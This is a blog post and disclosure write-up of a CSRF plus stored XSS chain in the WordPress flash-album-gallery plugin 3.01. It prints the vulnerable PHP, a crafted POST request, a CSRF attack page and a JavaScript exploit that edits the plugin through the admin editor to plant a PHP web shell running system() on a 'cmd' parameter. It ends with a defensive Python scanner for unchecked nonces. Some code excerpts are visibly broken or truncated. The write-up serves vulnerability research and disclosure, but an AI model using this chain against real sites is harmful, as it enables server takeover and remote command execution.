DOWNLOADS: 840,714

The following blog post addresses a critical (chain) of security issues in the version 3.01 of flash-album-gallery
which eventually leads to remote code execution. The exploit is not completely automatically and needs a minimal amount
of social engineering. Nevertheless I rate the danger at a medium/high level {Probably even worse than a fully automatable SQL injection).

First of all, I need to say that the plugin code lacks a fair amount of secure programming techniques and has inherent design flaws as far
as I can say this [I am not a software engineer, I do security as a hobby]. Assumingly, this is a direct result of heterogenous and
evolutionary growth of the software.
I researched flash-album-gallery mainly in June 2013 and after some weeks I found a CSRF vulnerability in combination with
a stored XSS. But on the same time I was preparing to contact the author and reveal my findings, I noticed a new version and
the bug seemed to be found by an independent researcher. See below the lines Fix: vulnerability with albums and Fix: XSS bugs reported by Ken S for the White Fir Design Bug Bounty.

= v3.00 - 26.06.2013 =
* Fix: Free skins settings reset to default after plugin update
* Fix: XSS bugs reported by Ken S for the White Fir Design Bug Bounty
* Fix: small bugfixes
* New: iOS application 'MyPGC' for Flagallery plugin now available on the App Store

= v2.78 - 26.06.2013 =
* Fix: bundled free skins not copied to flagallery-skins directory

= v2.77 - 25.06.2013 =
* Fix: vulnerability with albums
* Fix: PHP Notices
* Fix: Compatibility with some modern themes
* Update: New version of swfupload
* Update: Compatibility with Wordpress SEO plugin
* Update: Update code for default skins

I considered the issue as solved [To my shame] and called the researching an end and forgot about flash-album-gallery.
But currently, I was revisiting the code and saw that there is still exactly the same issue with another variable and file.

The concerned file is music-box.php situated at /wp-content/plugins/flash-album-gallery/admin/music-box.php at LINE 17. This is the vulnerable function:

function flag_music_controler() {
    if (isset($_POST['importfolder']) && $_POST['importfolder']){
        $mp3folder = $_POST['mp3folder'];
        if ( !empty($mp3folder) )
    $mode = isset($_REQUEST['mode'])? $_REQUEST['mode'] : 'main';
    $action = isset($_REQUEST['bulkaction'])? $_REQUEST['bulkaction'] : false;
    if($action == 'no_action') {
        $action = false;
    switch($mode) {
        case 'sort':
            include_once (dirname (__FILE__) . '/playlist-sort.php');
        case 'edit':
            $file = urlencode($_GET['playlist']);
            if(isset($_POST['updatePlaylist'])) {
                $title = esc_html($_POST['playlist_title']);
                $descr = esc_html($_POST['playlist_descr']);
                $data = array();
                foreach($_POST['item_a'] as $item_id => $item) {
                    if($action=='delete_items' && in_array($item_id, $_POST['doaction']))
                    $data[] = $item_id;
            if(isset($_POST['updatePlaylistSkin'])) {
            include_once (dirname (__FILE__) . '/manage-playlist.php');
        case 'save':
                $title = esc_html($_POST['playlist_title']);
                $descr = esc_html($_POST['playlist_descr']);
                $data = $_POST['items_array'];
                $file = isset($_REQUEST['playlist'])? urlencode($_REQUEST['playlist']) : false;
                flagSavePlaylist($title,$descr,$data, $file);
            if(isset($_GET['playlist'])) {
                include_once (dirname (__FILE__) . '/manage-playlist.php');
            } else {
        case 'add':
            if(isset($_POST['items']) && isset($_GET['playlist'])){
                $added = $_POST['items'];
            } elseif(isset($_GET['playlist'])) {
                $added = $_COOKIE['musicboxplaylist_'.urlencode($_GET['playlist'])];
            } else {
                $added = false;
        case 'delete':
        case 'main':
            if(isset($_POST['updateMedia'])) {
                flagGallery::show_message( __('Media updated','flag') );


Well, alone in this function and its subsequent calls, there are more security bugs than I can descibe here.
But to just name the one critical I mentioned before, this POST request inserts tainted data into a file, which
is lateron echoed back to the admin menu which triggers an XSS.

============================================ EXPLOITING POST REQUEST ========================
    Host: localhost
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    Cookie: {The wordpress cookie of the admin}
    Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 117

    items_array[0]=notimportant&playlist_title=some_title&playlist_descr=some_description&mode=save&skinname="<script>alert(/Script Code/)</script>


Due to inpropper coding style, this request is not protected by a nonce, which would prevent a CSRF attack. For explanation of nonces and why
they are impportant, look here:
However, the author
probably intended to protect it with a nonce, because he actually inserted one in the form field here:

<!-- #new_playlist -->
<div id="new_playlist" style="display: none;" >
     <form id="form_new_playlist" method="POST" action="<?php echo $filepath; ?>" accept-charset="utf-8">
===> <?php wp_nonce_field('flag_thickbox_form'); ?>
     <input type="hidden" id="new_playlist_mp3id" name="items_array" value="" />
     <input type="hidden" id="new_playlist_bulkaction" name="TB_bulkaction" value="" />
     <input type="hidden" name="mode" value="save" />
     <input type="hidden" name="page" value="music-box" />
     <table width="100%" border="0" cellspacing="3" cellpadding="3" >

Unfortunately, this nonce is actually never checked with a appropriate function like
- wp_verify_nonce($nonce, $action = -1)
- check_ajax_referer( $action = -1, $query_arg = false, $die = true ) - check_admin_referer($action = -1, $query_arg = '_wpnonce')

Henceforth, alone this constitutes a XSRF, which for itself is a security threat. Because of the missing nonce check in all cases of the switch statement
in the above code excerpt, this requests for example deletes any album specified by the GET parameter playlist http://localhost/wordpress/wp-admin/admin.php?page=flag-music-box&mode=delete&playlist={Which?}

But back to main issue. Remember that we can trick any wordpress admin with a poisoned page and a installation with this plugin to execute
the above cases in the switch statement. Now consider the case save. There is a call to a function named flagSavePlaylist().
This function saves a music playlist to a xml file. Every parameter that is written to the xml file is propperly escaped with
functions like htmlspechialchars(). But one parameter is (strangely) ignored. The variable $skin is populated with user
submitable input and later written to the xml file. (See below the two arrows). Please note, that an exploitation attempt will lead to an error message printed (See "!Error! ===>" below) because file_get_contents() is called with a string constructed with the tainted $skin variable. Script code
rarily looks like valid paths. But this doesn't hinder the working of the flow of the exploitation process.

file /wp-content/plugins/flash-album-gallery/admin/music-box.php at LINE 17:

 function flagSavePlaylist($title,$descr,$data,$file='',$skinaction='') {
            global $wpdb;
            if(!trim($title)) {
                    $title = 'default';
            $title = htmlspecialchars_decode(stripslashes($title), ENT_QUOTES);
            $descr = htmlspecialchars_decode(stripslashes($descr), ENT_QUOTES);
            if (!$file) {
                    $file = sanitize_title($title);
                    $data = explode(',', $data);

            $flag_options = get_option('flag_options');
===>        $skin = isset($_POST['skinname'])? $_POST['skinname'] : 'music_default';
            if(!$skinaction) {
                $skinaction = isset($_POST['skinaction'])? $_POST['skinaction'] : 'update';
            $skinpath = trailingslashit( $flag_options['skinsDirABS'] ).$skin;
            $playlistPath = ABSPATH.$flag_options['galleryPath'].'playlists/'.$file.'.xml';
            if( file_exists($playlistPath) && ($skin == $skinaction) ) {
                    $settings = file_get_contents($playlistPath);
            } else {
!Error! ===>    $settings = file_get_contents($skinpath . "/settings/settings.xml");
            $properties = flagGallery::flagGetBetween($settings,'<properties>','</properties>');

            if(count($data)) {
                    $content = '<gallery>
    <category id="'.$file.'">
===>        <skin><![CDATA['.$skin.']]]]><![CDATA[></skin>

                    foreach( (array) $data as $id) {
                            $mp3 = get_post($id);
                            if($mp3->post_mime_type == 'audio/mpeg') {
                                $thumb = get_post_meta($id, 'thumbnail', true);
                                    $content .= '
                    <item id="'.$mp3->ID.'">
                    $content .= '
                    // Save options
                    $flag_options = get_option('flag_options');
                    if(wp_mkdir_p(ABSPATH.$flag_options['galleryPath'].'playlists/')) {
                            if( flagGallery::saveFile($playlistPath,$content,'w') ){
                                    flagGallery::show_message(__('Playlist Saved Successfully','flag'));
                    } else {
                            flagGallery::show_message(__('Create directory please:','flag').'"/'.$flag_options['galleryPath'].'playlists/"');

Now we know that tainted [html/javascript] data is in a xml file. This is not dangerous by itself [But really bad at least].
But what if this data is written back to the browser without sanitation? Then we could write any script code within a admin

But this is exactly what happens here in the file /wp-content/plugins/flash-album-gallery/admin/music-box.php at LINE 386:

 <?php if($added===false) { ?>
                                    <input name="updateMedia" class="button-primary" style="float: right;" type="submit" value="<?php _e('Update Media','flag'); ?>" />
                                    <?php if ( function_exists('json_encode') ) { ?>
                                    <select name="bulkaction" id="bulkaction">
                                            <option value="no_action" ><?php _e("No action",'flag'); ?></option>
                                            <option value="new_playlist" ><?php _e("Create new playlist",'flag'); ?></option>
                                    <input name="showThickbox" class="button-secondary" type="submit" value="<?php _e('Apply','flag'); ?>" onclick="if ( !checkSelected() ) return false;" />
                                    <?php } ?>
                    <a href="<?php echo admin_url( 'media-new.php'); ?>" class="button"><?php _e('Upload Music','flag'); ?></a>
                                    <input type="hidden" id="items_array" name="items_array" value="" />
    <?php } else { ?>
                                    <input type="hidden" name="mode" value="save" />
                                    <input style="width: 80%;" type="text" id="items_array" name="items_array" readonly="readonly" value="<?php echo $added; ?>" />
                                    <input type="hidden" name="playlist_title" value="<?php echo esc_html(stripslashes($playlist['title'])); ?>" />
===>                                <input type="hidden" name="skinname" value="<?php echo $playlist['skin']; ?>" />
===>                                <input type="hidden" name="skinaction" value="<?php echo $playlist['skin']; ?>" />
                                    <textarea style="display: none;" name="playlist_descr" cols="40" rows="1"><?php echo esc_html(stripslashes($playlist['description'])); ?></textarea>
                                    <input name="addToPlaylist" class="button-secondary" type="submit" value="<?php _e('Update Playlist','flag'); ?>" />
    <?php } ?>

Hence, the form which creates the request is also responsible for the writing the tainted data back to the screen. If find it rather strange that
all the other echo function usages are wrapped with esc_html() calls but it was forgotten that $playlist['skin'] holds tainted data as well.
Maybe the changes in the last fix [As reported by 'Ken S'] weren't that deep. But more likely, this is just another bug which hasn't been found before.

Now what can an attacker do with this exploit?

He could gain access to the server and remote code execution for example. Imagine we tricked an wordpress administrator which
still has valid admin cookies for his wordpress site [Which is quite often the case when you look at your blog] into visiting a
site with a hidden form. You cold for example write a comment on the wordpress site with a link to the attacking site, which incorporates
the attacking code below. This would be a quite strong attack, since every wordpress administrator is happy to see comments on his site [Source:
I am a wordpress admin myself]. Then he is genuinely interested to follow the link. Why should he assume that it is dangerous? Lot's of people leave
the link of their own sites in wordpress comment section. As soon as the wordpress administrator [He needs to be logged in, which is normally the case]
follows the link, the server is entirely busted. No need to crack password hashes or find further privilege escalation ways. Why? See below the code that
is executed if he follows the link:

<!DOCTYPE html>
        <title>Stored XSS CSRF exploit.</title>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

            function getXMLHttpRequestObject() {
                var ref = null;
                if (window.XMLHttpRequest) { // For recent browsers.
                    ref = new XMLHttpRequest();
                } else if (window.ActiveXObject) { // Older IE 6,7,8
                    ref = new ActiveXObject("MSXML2.XMLHTTP.3.0");
                return ref;

            function send_payload(payload) {
                var TARGET_URL = "http://localhost/wordpress/wp-admin/admin.php?page=flag-banner-box&playlist=null&mode=edit";
                var req = null;

                req = getXMLHttpRequestObject();
                req.onreadystatechange = function() {
                    if (req.readyState == 4 && req.status == 200) {
                        document.getElementById("success_indicator").innerHTML = "payload sent.";
      "POST", TARGET_URL, true);
                req.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                /* Build the post data */
                var pd =  {"playlist_title": "sometitle",
                           "playlist_descr": "some_description",
                           "mode": "save",
                           "skinname": '" ' + payload,
                           "item_array[0]": "notimportant"};

                postdata = "";
                for(var key in pd) {
                    postdata += (key + "=" + pd[key] + "&");
                postdata = postdata.substr(0, postdata.length-1); // rstrip the last &


        <script>var payload = "<script type="text/javascript" src="">//Nothin here</script>"; send_payload(payload);</script>
        <div id="success_indicator"></div>

Then as soon as the payload is executed, the following exploit code is loaded from another site which actually
does the evil stuff [See code above, the last lines are probably the most interesting]. It basically uses the upload functionality in wordpress to change plugincode.
This leads to remote code execution and the worst case scenario happened: An attacker can issue system() calls with the permissions
of the web server.

The exploit code:

 * Copyright: Nikolai Tschacher.
 * Site:
 * Easy as pie.
 * What: Use this code when you found a stored XSS in a wordpress plugin to gain RCE.
 * How: A wordpress admin needs to run this code in his browser with a valid session id.
 * Idea: Mofify the flash-album-gallery plugin via wordpress admin panel.
 * Note: This is actually nothing new. It's just one of many ways to gain RCE
 *       if you have a stored XSS in a wordpress session.

// Without php tags
// HTML meta chars are in character entity references format.
var EXPLOIT_CODE = "\nif (isset($_GET[&#039;cmd&#039;])&amp;&amp; !empty($_GET[&#039;cmd&#039;])){ echo &#039;<pre>&#039;;system($_GET[&#039;cmd&#039;]);echo &#039;</pre>&#039;; }";

// TARGET SETTINGS. Set stuff here.
var TARGET_WP_PATH = "http://localhost/wordpress";
var PLUGIN_EDITOR_URL = TARGET_WP_PATH + "/wp-admin/plugin-editor.php";
var PLUGIN_EDIT_URL = PLUGIN_EDITOR_URL + "?file=flash-album-gallery/flag.php";

function getXMLHttpRequestObject() {
    var ref = null;
    if (window.XMLHttpRequest) { // For recent browsers.
        ref = new XMLHttpRequest();
    } else if (window.ActiveXObject) { // Older IE 6,7,8
        ref = new ActiveXObject("MSXML2.XMLHTTP.3.0");
    return ref;

/* Extract the nonce */
function exploit() {
    var req = null;

    req = getXMLHttpRequestObject();
    req.onreadystatechange = function() {
        if (req.readyState == 4 && req.status == 200) {
            var res = /name="_wpnonce"\svalue=\"[a-z0-9]{10}\"/.exec(req.responseText);
            if (res.length == 1) {
                nonce =  /[a-z0-9]{10}/.exec(res[0]);
            } else { // The sites not available. Maybe the plugin is not installed?!
                nonce = null;

            modify_plugin(req.responseText, nonce);
    }"GET", PLUGIN_EDIT_URL, true);

/* Modify the plugin with malicous code with plugin editor */
function modify_plugin(responseText, nonce) {
    // Get the plugin code
    // On each wordpress plugin edit site, there's just one textarea tag.
    // The plugin code itself lies between the textarea tags.
    // These regexes aren't really good.
    var startIndex = responseText.match(/<textarea.*?name="newcontent".*?>/);
    var stopIndex = responseText.match(/<\/textarea>/);
    pluginCode = responseText.substring(startIndex.index+startIndex[0].length, stopIndex.index);

    // add our exploit code at the beginning of the plugin after the "// Stop direct call" comment.
    if (/((\/){2}\sStop\sdirect\scall)/.test(pluginCode)) {
        pluginCode = pluginCode.replace(/((\/){2}\sStop\sdirect\scall)/, "$1" + EXPLOIT_CODE);
    } else {
        // Let's go for the first line after the obligatory wp plugin comment and lets use the closing comment
        // characters */ as needle as a fallback.
        pluginCode = pluginCode.replace(/^(\*\/)/m, "$1" + "\n" + EXPLOIT_CODE);

    // We need to consider that the plugin code in this state is making use of Character entity references
    // for all html meta characters like " ' < > & \ to avoid them of being interepreted as markup.
    // We need to replace them with their "real" characters, before we send the plugin as post data.
    pluginCode = removeCharEntityReferences(pluginCode);

    // Ready to build our POST request
    preq = getXMLHttpRequestObject();
    preq.onload = function () {
        if (preq.readyState == 4 && preq.status == 200) {
            var successPattern = /File\sedited\ssuccessfully./;
            if (successPattern.test(preq.responseText))
                // Notify the attacker that the exploit has been spawned.
    };"POST", PLUGIN_EDITOR_URL, true);
    preq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

    pd = {
        _wpnonce: nonce,
        _wp_http_referer: PLUGIN_EDIT_URL + "&a=te&scrollto=0",
        a: "",
        scrollto: "192",
        newcontent: encodeURIComponent(pluginCode),
        action: "update",
        file: "flash-album-gallery/flag.php",
        plugin: "flash-album-gallery/flag.php",
        submit: "Update+File"
    // Build the post data.
    postdata = "";
    for (var key in pd) {
        postdata += (key + "=" + pd[key] + "&");
    postdata = postdata.substr(0, postdata.length-1); // rstrip the last &

 * Removes the HTML char entity references for the HTML meta characters.
function removeCharEntityReferences(data) {
    if ((typeof data) !== "string") {
        throw new TypeError("data needs to be a string");
        return null;

    data = data.replace(/&quot;/g, "\"");
    data = data.replace(/&#039;/g, "'");
    data = data.replace(/&lt;/g, "<");
    data = data.replace(/&gt;/g, ">");
    data = data.replace(/&amp;/g, "&");

    return data;



What was shown above, is just one specific bug in the flash-album-gallery plugin. I think that there might be lots more. If you want to see me notes
of my work, please visit the following file I made during my research at very bottom of this [large] mail.

But honestly, I have to say you that there are still lots of bugs in the code and that it would need a rather large amount of time and
some dull hours of work to locate the vast majority of them [Forget about finding all bugs in software in general]. This means, that I
won't continue spending a lot of time on this project.

Additionally, I have sent this writeup to the wordpress-security bug bounty program because you know, I would always be happy for some dimes to
keep my server runnin :D

If you have questions, feel free to contact me.

I am going to publish this mail on my blog as soon as you guys updated the code and the users had some time to switch versions. But please keep in mind:
I would really do some serious work in order to find all the bugs!

I advise to uninstall it and NOT use this plugin, before big changes are made to improve the security architecture.

PS: Maybe you are interested too have a look on the script I wrote to locate bugs like this:

# COPYRIGHT: Nikolai Tschacher
# Site:

# Walks thorugh a plugin and tries to reveals some inconsistency with nonces which
# could lead to some vulnerabilities. Sometimes, nonces are created, but never validated.
# Just a nonce itself does nothing, the action must be actually confirmed.

# This simply finds all nonces and looks if some stay unchecked. If this is the case, the
# nonce is useless and there's maybe a threat.

# About:
import argparse
import fnmatch
import os
import re

DEBUG = False

# If a nonce is created but never checked with wp_verify_nonce() (or descendants), the nonce is
# senseless and no security barrier at all. This script tries to find this flaw.

# Nonces are random, one time tokens which are usally send with a critical request/form
# a user can execute in a application. Before the action takes place, the app has to confirm
# that the nonce is the same as genertated while the form was crafted. If this is not the case,
# a user is most likely tricked into submitting a form without his consent, since he has never
# seen the form and thus the nonce hasn't been created and automatically submitted. This prevents
# CSRF attacks and makes most sql injections and xss attacks rather hard.

# Approach: We treat simply all strings between braces as possible action arguments. There will be
# a lot of false positives. But making the regex accurate is simply not feasible because the function
# calling syntax is ways to hard to parse [lazy and yeah, guilty :D]
R_NONCE_CREATION = re.compile(r'(wp_nonce_field|wp_create_nonce|wp_nonce_url)(\s*)\(.*?\)')

R_STRING = re.compile(r'(\'|").*?\1')

# Nonces are normally confirmed before the critical action in wp code begins.
# There are several functions to confirm nonces depending on the situation
# the form/actions orign. They can be found in \wp-includes\pluggable.php
# - wp_verify_nonce($nonce, $action = -1)
# - check_ajax_referer( $action = -1, $query_arg = false, $die = true )
# - check_admin_referer($action = -1, $query_arg = '_wpnonce')
R_NONCE_CHECK = re.compile(r'(check_ajax_referer|wp_verify_nonce|check_admin_referer)(\s*)\(.*?\)')

matches = []
checked = []

def apply_on_file_content(root_path, callback):
    pattern = '.php'
    for root, dirs, files in os.walk(root_path):
        for fname in files:
            if pattern in fname:
                with open(os.path.join(root, fname), 'r') as f:
                    callback(, fname)

def noncescan(fdata, fname):
    scan_nonce_creation(fdata, fname)
    verify_nonces(fdata, fname)

# Returns a list of all nonces created. Very greedy approach.
def scan_nonce_creation(fdata, fname):
      dmsg('[+] Scanning for nonces in {0}'.format(fname))
      for m in R_NONCE_CREATION.finditer(fdata):
          for s in R_STRING.finditer(

# Checks with a list if the nonce was verified.
def verify_nonces(fdata, fname):
    dmsg('[+] Verifing found actions in {0}'.format(fname))
    for m in R_NONCE_CHECK.finditer(fdata):
        for s in R_STRING.finditer(

def report():
    # Now the two lists 'matches' and 'checked' both hold
    # all the found $action string arguments that were passed
    # to the nonce creation functions and again when the nonce
    # was to be checked. We strip duplicates in both lists and show which
    # remain in 'matches' and aren't in 'checked'.
    # remark: python is magical!
    clean = lambda x: [i.replace('"', '').replace("'", '') for i in x if not'[^a-zA-Z0-9_\'"]', i)]
    m = set(clean(matches))
    c = set(clean(checked))
    z = m - c
    print(''' [!] Found {0} strings within nonce creation functions and 
{1} strings in nonce confirming functions. There remain {2} 
strings that are in nonce creation functions, but aren't in 
confirming functions.'''.format(len(m), len(c), len(z)))

# Simple debugging function.
def dmsg(s):
    if DEBUG:

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("basedir", help="starting directory of analysis", type=str)
    args = parser.parse_args()

    apply_on_file_content(args.basedir, noncescan)